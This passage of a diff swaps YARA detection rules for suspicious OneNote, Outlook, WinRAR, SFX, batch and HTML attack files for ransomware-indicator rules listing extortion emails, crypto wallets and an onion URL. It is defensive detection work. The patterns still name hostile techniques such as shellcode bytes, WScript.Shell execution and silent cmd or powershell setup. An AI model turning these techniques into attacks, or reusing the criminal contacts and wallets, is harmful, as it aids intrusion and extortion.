 }
-rule SBOUSSEADEN_TDL_Loader_Bootstrap_Shellcode : FILE
+rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Ranzylocker
 {
 	meta:
-		description = "No description has been set in the source file - SBousseaden"
-		author = "SBousseaden"
-		id = "a2adedef-ba38-599f-b52c-e2156aa5ef98"
-		date = "2020-10-10"
-		modified = "2020-10-10"
-		reference = "https://github.com/hfiref0x/TDL"
-		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/tdl_loader_bootstrat_shellcode.yara#L1-L9"
-		license_url = "N/A"
-		logic_hash = "14a993b415e330e284503c409ab66445c5e369a21ef0be37297d9c8946b5559b"
+		description = "Detects files referencing identities associated with RanzyLocker ransomware"
+		author = "ditekShen"
+		id = "33478dc4-c0ec-5cc8-8620-79e770f6a773"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L354-L363"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "dc345257a3cca82a95e20505c94e90d8ac42240e1491ea1f34be121871673e26"
 		score = 75
-		quality = 75
-		tags = "FILE"
+		quality = 71
+		tags = ""
 
 	strings:
-		$shc1 = {41 B8 54 64 6C 53 48 63 6B 3C 48 03 EB 44 8B 7D 50 41 8D 97 00 10 00 00 41 FF D1}
-		$shc2 = {41 B8 54 64 6C 53 4C 63 73 3C 4C 03 F3 45 8B 7E 50 41 8D 97 00 10 00 00 41 FF D1 45 33 C9}
+		$s1 = "eviluser@tutanota.com" ascii wide nocase
+		$s2 = "evilpr0ton@protonmail.com" ascii wide nocase
 
 	condition:
-		uint16(0)==0x5a4d and any of ($shc*)
+		any of them
 }
-/*
- * YARA Rule Set
- * Repository Name: Elceef
- * Repository: https://github.com/elceef/yara-rulz
- * Retrieval Date: 2024-08-04
- * Git Commit: 05834717d1464d5efce8ad9d688ff7b53886a0bb
- * Number of Rules: 17
- * Skipped: 0 (age), 1 (quality), 0 (score), 0 (importance)
- *
- *
- * LICENSE
- *
- * MIT License
-
-Copyright (c) 2022 Marcin Ulikowski
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
-
- */
-rule ELCEEF_Suspicious_Onenote
+rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Alkhal
 {
 	meta:
-		description = "Detects OneNote documents with FileDataStoreObject structure containing: PE32, shortcut files (*.lnk), encoded JS, Windows Help File (*.chm), or batch script"
-		author = "marcin@ulikowski.pl"
-		id = "57f6fc7f-666f-5887-ac97-513588415757"
-		date = "2023-01-22"
-		modified = "2023-02-21"
-		reference = "https://github.com/elceef/yara-rulz"
-		source_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/rules/Suspicious_OneNote.yara#L1-L23"
-		license_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/LICENSE"
-		logic_hash = "b65f0976b71c1e827ecce09f0c435d9ffa6a5d3b3a41401efc6a14b6259af4ad"
-		score = 65
-		quality = 75
+		description = "Detects files referencing identities associated with AlKhal ransomware"
+		author = "ditekShen"
+		id = "32e14a6e-fc2e-5c0a-b8e3-33e219923d90"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L365-L374"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "bd2d66a9cd33ab15b451158cd6c0e6579735653611ee2e6c8045a5807091938d"
+		score = 75
+		quality = 71
 		tags = ""
-		hash1 = "f408ef3fa89546483ba63f58be3f27a98795655eb4b9b6217cbe302a5ba9d5f7"
-		hash2 = "5306fa7940b4d67dfb031fd315b661cecb2ce81e2f34c9393e1826df0f0bbdc5"
-		hash3 = "e1d34ad42938a777d80f3ee4c206de14021f13ab79600168b85894fdb0867b3e"
-		hash4 = "9e89231578d8b9b190de3288fd10f43cf11a24963a8b0a76f0c46170deda59fd"
-		hash5 = "6778c59a29e25d722230163bea272ece58d2d3696fbce4347c20104e8fb735dc"
 
 	strings:
-		$magic = { ae b1 53 78 d0 29 96 d3 }
-		$fdso_pe32 = { a4 c4 8d 4d 0b 7a 9e ac [20] 4d 5a }
-		$fdso_bat = { a4 c4 8d 4d 0b 7a 9e ac [20] 40 65 63 68 6f 20 6f 66 66 }
-		$fdso_lnk = { a4 c4 8d 4d 0b 7a 9e ac [20] 4c 00 00 00 01 14 02 00 }
-		$fdso_jse = { a4 c4 8d 4d 0b 7a 9e ac [20] 23 40 7e 5e }
-		$fdso_chm = { a4 c4 8d 4d 0b 7a 9e ac [20] 49 54 53 46 03 }
+		$s1 = "alkhal@tutanota.com" ascii wide nocase
+		$s2 = "cyrilga@tutanota.com" ascii wide nocase
 
 	condition:
-		$magic at 8 and 1 of ($fdso_*)
+		any of them
 }
-rule ELCEEF_HTA_Wscriptshell_Onenote : FILE
+rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_DECAF
 {
 	meta:
-		description = "Detects suspicious OneNote documents with embedded HTA + WScript.Shell"
-		author = "marcin@ulikowski.pl"
-		id = "8cebd862-8dfb-5f5d-befb-5c41cde945ff"
-		date = "2023-02-01"
-		modified = "2023-02-02"
-		reference = "https://github.com/elceef/yara-rulz"
-		source_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/rules/HTA_OneNote.yara#L1-L17"
-		license_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/LICENSE"
-		logic_hash = "0287ac5d618c9a8332d167f1a05157aa829c7e8a052c35100fcaeb644d452e5c"
-		score = 65
-		quality = 75
-		tags = "FILE"
-		hash1 = "002fe00bc429877ee2a786a1d40b80250fd66e341729c5718fc66f759387c88c"
+		description = "Detects files referencing identities associated with DECAF ransomware"
+		author = "ditekShen"
+		id = "24422015-56f3-503e-a902-0183eb601b22"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L376-L408"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "8fca3a6564cd11e625b65e7f0f278b79678368dd0c77440e9f8d46035e0c3426"
+		score = 75
+		quality = 73
+		tags = ""
 
 	strings:
-		$magic = { ae b1 53 78 d0 29 96 d3 }
-		$hta = { 00 04 00 00 00 2e 00 68 00 74 00 61 }
-		$wsh = "CreateObject(\"WScript.Shell\")"
+		$s1 = "22eb687475f2c5ca30b@protonmail.com" ascii wide nocase
+		$s2 = { 4d 49 49 42 43 67 4b 43 41 51 45 41 71 34 6b 31
+                48 64 62 31 54 48 72 7a 42 42 65 4f 31 38 34 6b
+                6e 43 62 42 4b 72 30 33 61 70 66 58 71 6c 4f 6b
+                53 64 74 48 53 4a 67 66 79 49 71 4a 50 47 78 6c
+                0a 2f 63 46 69 73 4a 6d 56 58 52 33 2f 74 34 65
+                39 46 62 4c 73 45 49 75 54 70 39 50 4a 54 63 69
+                6f 6d 48 66 72 35 43 67 43 51 7a 68 6e 41 5a 30
+                41 76 6a 47 42 61 57 50 36 4b 70 43 79 66 44 6e
+                73 0a 79 62 72 75 79 4b 71 79 67 61 57 70 5a 53
+                41 6e 7a 52 64 42 2b 54 41 6b 75 35 69 71 79 38
+                71 31 56 77 6e 4e 35 37 51 42 6c 74 72 6f 30 59
+                4a 5a 38 65 6e 4b 5a 52 54 6c 63 7a 6d 74 6a 65
+                4f 70 0a 42 2f 78 75 54 4f 75 44 6a 6d 55 53 4e
+                69 47 79 69 6a 57 42 56 66 59 6b 37 73 56 58 6c
+                2f 6c 51 38 74 61 58 72 33 36 78 50 57 68 4d 49
+                47 30 45 71 52 56 72 46 56 2b 63 61 76 53 37 5a
+                34 76 61 0a 79 58 6d 63 66 35 35 4e 6b 70 4d 47
+                4b 4b 59 38 75 71 76 77 62 34 61 4c 49 4b 61 62
+                65 6b 32 6e 55 57 42 67 4e 67 53 4f 74 71 42 4c
+                4c 4c 32 41 32 62 59 2f 35 73 30 47 4a 2f 56 56
+                2b 45 6d 49 0a 58 37 2f 7a 49 2b 46 63 65 55 2b
+                64 63 4e 58 2f 69 72 30 75 6a 50 34 79 73 34 6d
+                2f 6a 6a 5a 44 34 77 49 44 41 51 41 42 }
 
 	condition:
-		filesize <5MB and $magic at 8 and $wsh and $hta
+		any of them
 }
-rule ELCEEF_Outlook_CVE_2023_23397_Exploit : FILE
+rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Babuk
 {
 	meta:
-		description = "Detects Outlook meeting/appointment/task files with ReminderSoundFile property set to UNC path"
-		author = "marcin@ulikowski.pl"
-		id = "f0dfb7a6-b3bf-58c4-a9a2-978f436679d9"
-		date = "2023-03-16"
-		modified = "2023-04-20"
-		reference = "https://www.mdsec.co.uk/2023/03/exploiting-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability/"
-		source_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/rules/Outlook_CVE_2023_23397.yara#L1-L29"
-		license_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/LICENSE"
-		logic_hash = "695721ec276415c6a6a0f4ce6378ff2d11c15d28271f587966bc3d9d8c06f63a"
+		description = "Detects files referencing identities associated with Babuk ransomware"
+		author = "ditekShen"
+		id = "139cea69-9661-5cb7-bf74-a14e3556c759"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L410-L426"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "129b1364bb59423aab1f5f67a4c2d2a76a9c4f55aa6aa1e59bcebc717a14ee19"
 		score = 75
-		quality = 50
-		tags = "FILE"
-		hash1 = "52dbaf64ce1a5cd1db9a9d385f8204e5f665ca53a3d904033bf1a10369490646"
-		hash2 = "582442ee950d546744f2fa078adb005853a453e9c7f48c6c770e6322a888c2cf"
-		hash3 = "078b5023cae7bd784a84ec4ee8df305ee7825025265bf2ddc1f5238c3e432f5f"
-		hash4 = "1867bc9f81e99a55103288ce10c5c05267119ebb13757686e59bfed156f62b51"
+		quality = 61
+		tags = ""
 
 	strings:
-		$pid_reminder_file = { 1f 85 00 00 0? 00 ?? 00 }
-		$pid_reminder_override = { 1c 85 00 00 0? 00 ?? 00 }
-		$psetid_common = { 08 20 06 00 00 00 00 00 c0 00 00 00 00 00 00 46 }
-		$psetid_appointment = { 02 20 06 00 00 00 00 00 c0 00 00 00 00 00 00 46 }
-		$psetid_task = { 03 20 06 00 00 00 00 00 c0 00 00 00 00 00 00 46 }
-		$unc = /\\\\([a-z1-9][a-z0-9.]{6}|\.\\UNC\\\\)/ wide ascii
+		$s1 = "mitnickd@ctemplar.com" ascii wide nocase
+		$s2 = "zar8b@tuta.io" ascii wide nocase
+		$s3 = "recover300dollars@gmail.com" ascii wide nocase
+		$s4 = "support.3330@gmail.com" ascii wide nocase
+		$s5 = "decryptdelta@gmail.com" ascii wide nocase
+		$s6 = "pyotrmaksim@gmail.com" ascii wide nocase
+		$s7 = "retrievedata300@gmail.com" ascii wide nocase
+		$s8 = "3JG36KY6abZTnHBdQCon1hheC3Wa2bdyqs" ascii wide
+		$s9 = "46zdZVRjm9XJhdjpipwtYDY51NKbD74bfEffxmbqPjwH6efTYrtvbU5Et4AKCre9MeiqtiR51Lvg2X8dXv1tP7nxLaEHKKQ" ascii wide
 
 	condition:
-		filesize <1MB and ( uint32be(0)==0xd0cf11e0 or uint32be(0)==0x789f3e22) and ($psetid_appointment or $psetid_task) and $psetid_common and ($pid_reminder_file and $pid_reminder_override) and $unc
+		any of them
 }
-rule ELCEEF_Winrar_CVE_2023_38831_Exploit : CVE_2023_38831 FILE
+rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Rapid
 {
 	meta:
-		description = "Detects ZIP archives exploiting CVE-2023-38831 in WinRAR"
-		author = "marcin@ulikowski.pl"
-		id = "7d592eb7-b344-59ed-adf8-fe69ebb1e43f"
-		date = "2023-09-23"
-		modified = "2023-09-28"
-		reference = "https://www.group-ib.com/blog/cve-2023-38831-winrar-zero-day"
-		source_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/rules/WinRAR_CVE_2023_38831.yara#L1-L17"
-		license_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/LICENSE"
-		logic_hash = "06f1d807429fb175831cf333b05b44b6ce33b4ae981e16c03e36ec7564a4fdd1"
+		description = "Detects files referencing identities associated with Rapid ransomware"
+		author = "ditekShen"
+		id = "a1c6f3c0-2fec-5d96-9965-8129a843ae90"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L428-L436"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "ea82a3fcb1d836e1c250e9a576064e1babdb82b4970555260af2eb68726cfd16"
 		score = 75
-		quality = 75
-		tags = "CVE-2023-38831, FILE"
-		hash1 = "00175d538cba0c493e397a0b7f4b28f9a90dd0ee40f69795ae28d23ce0d826c0"
-		hash2 = "ca8ca67df7853b86b6a107c8fd7f73b757de9143ea8844d0e6209249e8377885"
+		quality = 73
+		tags = ""
 
 	strings:
-		$ = { 50 4b 03 04 [24] 00 00 [3-64] 2e ?? ?? ?? 20 2f [3-64] 2e ?? ?? ?? 20 2e ( 626174 | 636d64 | 707331 ) }
+		$s1 = "jimmyneytron@tuta.io" ascii wide nocase
 
 	condition:
-		uint16be(0)==0x504b and all of them
+		any of them
 }
-rule ELCEEF_Suspicious_SFX : FILE
+rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Satana
 {
 	meta:
-		description = "Detects self-extracting archives (SFX) executing cmd.exe or powershell.exe"
-		author = "marcin@ulikowski.pl"
-		id = "78f4ae8b-ba17-5c02-a6f0-66bec873aba8"
-		date = "2023-04-04"
-		modified = "2023-04-04"
-		reference = "https://www.crowdstrike.com/blog/self-extracting-archives-decoy-files-and-their-hidden-payloads/"
-		source_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/rules/Suspicious_SFX.yara#L1-L22"
-		license_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/LICENSE"
-		logic_hash = "688ed356e2fa936a0e07a8479591c28fb457053ed94351bad4bf367b02f04b0a"
-		score = 65
+		description = "Detects files referencing identities associated with Satana ransomware"
+		author = "ditekShen"
+		id = "a362d4ca-d475-5392-a3ac-45337425d8e7"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L438-L447"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "6d82e2497044518cee1b56da85f1ad6ac7934eec9ca68501932d55add4236d45"
+		score = 75
 		quality = 73
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$rar = { 52 61 72 21 }
-		$zip = { 50 4b 03 04 }
-		$setup_cmd = "\nSetup=cmd"
-		$setup_powershell = "\nSetup=powershell"
-		$silent = "\nSilent=1"
+		$s1 = "adamadam@ausi.com" ascii wide nocase
+		$s2 = "XsrR2he2Z8un5ysGWnJ1wveZRPRS96XEoX" ascii wide
 
 	condition:
-		filesize <1MB and uint16be(0)==0x4d5a and any of ($zip,$rar) and any of ($setup_*) and $silent
+		any of them
 }
-rule ELCEEF_HTML_Windows_Search_Abuse
+rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Zeppelin
 {
 	meta:
-		description = "Detects HTML files abusing Windows system functionalities to redirect and download malicious payloads"
-		author = "marcin@ulikowski.pl"
-		id = "537cb46e-4cfc-517c-8d6d-0019f2c3e5ef"
-		date = "2024-06-15"
-		modified = "2024-06-16"
-		reference = "https://github.com/elceef/yara-rulz"
-		source_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/rules/HTML_Windows_Search.yara#L1-L22"
-		license_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/LICENSE"
-		logic_hash = "6a0d490cf08ab0aad3c535645abe9ebc26d12768cf2a2e932cdb7ec93cf3e2bd"
+		description = "Detects files referencing identities associated with Zeppelin ransomware"
+		author = "ditekShen"
+		id = "f3bbfcd0-c66c-589e-ae04-904314d6a869"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L449-L462"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "66dd92423cfac32de4bea95ad0c9594cb449dc897cc6315d782c1db6de7dc5b1"
 		score = 75
-		quality = 73
+		quality = 63
 		tags = ""
-		hash1 = "d136dcfc355885c502ff2c3be229791538541b748b6c07df3ced95f9a7eb2f30"
 
 	strings:
-		$location1 = "location.href" wide ascii
-		$location2 = "location.replace(" wide ascii
-		$location3 = "location.assign(" wide ascii
-		$metarefresh = "<meta http-equiv=\"refresh\"" nocase wide ascii
-		$search1 = "\"search-ms:query=" wide ascii
-		$search2 = "\"search:query=" wide ascii
-		$search3 = "URL=search:query=" wide ascii
-		$crumb1 = "&crumb=location:" wide ascii
-		$crumb2 = "&amp;crumb=location:" wide ascii
+		$s1 = "kd8eby0@inboxhub.net" ascii wide nocase
+		$s2 = "kd8eby0@onionmail.org" ascii wide nocase
+		$s3 = "kd8eby0@nuke.africa" ascii wide nocase
+		$s4 = "uspex1@cock.li" ascii wide nocase
+		$s5 = "uspex2@cock.li" ascii wide nocase
+		$s6 = "China.Helper@aol.com" ascii wide nocase
 
 	condition:
-		( any of ($location*) or $metarefresh) and any of ($search*) and any of ($crumb*)
+		any of them
 }
-rule ELCEEF_BAT_Obfuscated_Setenv
+rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_STOP
 {
 	meta:
-		description = "Detects batch script with obfuscated SET command located directly after @echo off"
-		author = "marcin@ulikowski.pl"
-		id = "999d192e-a792-5953-b9e2-de4b298444d3"
-		date = "2023-05-01"
-		modified = "2023-05-05"
-		reference = "https://twitter.com/wdormann/status/1651631372438585344"
-		source_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/rules/Suspicious_BAT.yara#L1-L20"
-		license_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/LICENSE"
-		logic_hash = "da3a2245207d79cb720079cc2bc88d5f9db22fc16601d21e7c8dcea381ed11e9"
+		description = "Detects files referencing identities associated with STOP ransomware"
+		author = "ditekShen"
+		id = "b2279a7f-a187-5a44-bf1f-87c21b3ffa4f"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L464-L480"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "f0d902edbcbe8ff8f3a751b649554499933b06471920c86a9eea3de23890b4bc"
 		score = 75
-		quality = 75
+		quality = 57
 		tags = ""
-		hash1 = "a0f43c5748ada07a12af81dda2460045030f936a8d5081f3a403f85c2a9668f8"
-		hash2 = "1a0ca873412474a6437d33e48071aa0169f8317b5c996e1b10a41791707b2cf5"
-		hash3 = "83e47d4f3dd43ed01dc573f0b83e9e71f0ec75b6ea5712f640585d01d8aedf3c"
-		hash4 = "cf351a2b1f0a157a92be2e01e460140e2c1d0ee1685474144f2203a97d2de489"
 
 	strings:
-		$s1 = { 40 65 63 68 6f 20 6f 66 66 0d 0a ( 73 65 25 | 73 25 | 25 ) [2-26] 3a 7e [0-6] 3? 25 ( 25 | 20 | 65 25 | 74 20 | 65 74 20 ) }
-		$s2 = { 40 65 63 68 6f 20 6f 66 66 0d 0a 73 65 74 20 22 [4] 3d 73 65 74 20 22 0d 0a 25 }
+		$s1 = "gorentos@bitmessage.ch" ascii wide nocase
+		$s2 = "gorentos2@firemail.cc" ascii wide nocase
+		$s3 = "manager@mailtemp.ch" ascii wide nocase
+		$s4 = "helprestoremanager@airmail.cc" ascii wide nocase
+		$s5 = "supporthelp@airmail.cc" ascii wide nocase
+		$s6 = "managerhelper@airmail.cc" ascii wide nocase
+		$s7 = "helpteam@mail.ch" ascii wide nocase
+		$s8 = "helpmanager@airmail.cc" ascii wide nocase
+		$s9 = "support@sysmail.ch" ascii wide nocase
 
 	condition:
-		$s1 in (0..4) or $s2 in (0..4)
+		any of them
 }
-rule ELCEEF_BAT_Chunked_Payload_Setenv
+rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Diavol
 {
 	meta:
-		description = "Detects batch script storing chunks of payload in random environment variables"
-		author = "marcin@ulikowski.pl"
-		id = "18f3ddac-bc19-5b54-891e-93271d59490a"
-		date = "2023-05-05"
-		modified = "2024-04-10"
-		reference = "https://github.com/elceef/yara-rulz"
-		source_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/rules/Suspicious_BAT.yara#L22-L37"
-		license_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/LICENSE"
-		logic_hash = "6b202d1a5723db664c7ca689c73fc1f84365801fd56fc9a035c8d3a0b6b2b9da"
+		description = "Detects files referencing identities associated with Diavol ransomware"
+		author = "ditekShen"
+		id = "ea499318-ed5b-5597-8f9f-4ece7942cf4b"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L482-L491"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "c72f4d7854f7ba813c4872d47aad69edb8c2927f380b9213ced1aca52454eee5"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = ""
-		hash1 = "f73521adbf89be99c4d7ea74ebf7fed815af49ce4dc060656d7c9c631e4d0538"
 
 	strings:
-		$echo = "@echo off"
-		$set = { ( 0d 0a | 26 20 ) 73 65 74 20 22 [10] 3d [2-6] 22 }
+		$s1 = "/noino.5fws6uqv5byttg2r//:sptth" ascii wide nocase
+		$s2 = "https://r2gttyb5vqu6swf5.onion/" ascii wide nocase
 
 	condition:
-		$echo in (0..4) and #set>10
+		any of them
 }
-rule ELCEEF_BAT_Begin_Substring_Env
+rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Chaos
 {
 	meta:
-		description = "Detects suspicious substring syntax at the begining of batch script"
-		author = "marcin@ulikowski.pl"
-		id = "3fca187b-d2e7-595c-9330-25141a54285b"
-		date = "2023-06-02"
-		modified = "2024-04-10"
-		reference = "https://cybersecurity.att.com/blogs/labs-research/seroxen-rat-for-sale"
-		source_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/rules/Suspicious_BAT.yara#L39-L55"
-		license_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/LICENSE"
-		logic_hash = "cc5e6e511bbc0a5cbb277ed0cbac1f2b21db8e21c4cdc802b6a1c3313d3b55cc"
-		score = 65
-		quality = 75
+		description = "Detects files referencing identities associated with Chaos ransomware"
+		author = "ditekShen"
+		id = "18476655-1468-569e-b518-ebeaf289fbd6"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L493-L511"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "6e8dce1622dbccca6aa15040b49fc9ea05ec7192f8a79409fd7414690102d09a"
+		score = 75
+		quality = 67
 		tags = ""
-		hash1 = "8ace121fae472cc7ce896c91a3f1743d5ccc8a389bc3152578c4782171c69e87"
 
 	strings:
-		$echo = "@echo off"
-		$substr = { 3a 7e ( 3? 2c 3? | 2d 3? 2c 3? | 3? 2c 2d 3? | 3? 3? 2c 3? | 2d 3? 3? 2c 3? | 3? 3? 2c 2d 3? ) 25 }
+		$s1 = "anenomous31@gmail.com" ascii wide nocase
+		$s2 = "daengsocietyteam@gmail.com" ascii wide nocase
+		$s3 = "RansHelp@tutanota.com" ascii wide nocase
+		$s4 = "18vhBpgPhZrjJkbuT2ZyUXAnJavaJcTwEd" ascii wide
+		$s5 = "bc1qlnzcep4l4ac0ttdrq7awxev9ehu465f2vpt9x0" ascii wide
+		$s6 = "8AFtPnreZp28xoetUyKiQvVtwrov9PtEbMyvczdNZpBN45EUbEsrE8xYVp4NNqPrtxNjQwn3PbW3FG16EPYcPpKzMU78xN6" ascii wide
+		$s7 = "bc1qu6tharwawwny28z9fj6nrxg5cqftaep9ap6z2v" ascii wide
+		$s8 = "bambolina2021@virgilio.it" ascii wide nocase
+		$s9 = "1EoyuvcXdAQQvStkoJZ38vdGm84StD7wjm" ascii wide
+		$s10 = "1G395PJs8ciqvXPZEYb1LfUGPix9h9n3oQ" ascii wide
 
 	condition:
-		$echo in (0..4) and $substr in (10..100)
+		any of them
 }
-rule ELCEEF_Polymorph_BAT_CAB : FILE
+rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Maze
 {
 	meta:
-		description = "Detects polymorphic BAT/CAB files self-extracting payload with extrac32.exe/extract.exe"
-		author = "marcin@ulikowski.pl"
-		id = "10a46120-beaf-5443-bc35-c6d9ef065bb4"
-		date = "2024-04-10"
-		modified = "2024-04-10"
-		reference = "https://github.com/elceef/yara-rulz"
-		source_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/rules/Suspicious_BAT.yara#L57-L72"
-		license_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/LICENSE"
-		logic_hash = "d29d488b0ebcfb485818c181ac674e3586aa1a41ab68185a1f1d3e49295ffbce"
+		description = "Detects files referencing identities associated with Maze ransomware"
+		author = "ditekShen"
+		id = "7cc11912-e5d2-5477-ab9b-0c470bb5e1d6"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L513-L521"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "46070d46c502837e5fb87d0fb75244a1a21e90b4e0ce4b73c408b8dc67fe1bcb"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "f1296b12925108a5d675a8b9c2033c0b749b121ae3b5a6a912ce4418daa06d99"
+		quality = 73
+		tags = ""
 
 	strings:
-		$extract = { 65 78 74 72 61 63 ( 33 32 | 74 ) 20 2f 79 20 22 25 7e 66 30 22 }
+		$s1 = "getmyfilesback@airmail.cc" ascii wide nocase
 
 	condition:
-		uint32be(0)==0x4d534346 and uint32(16)>80 and $extract in (48..80)
+		any of them
 }
-rule ELCEEF_HTML_Smuggling_A : T1027 FILE
+rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Lokilocker
 {
 	meta:
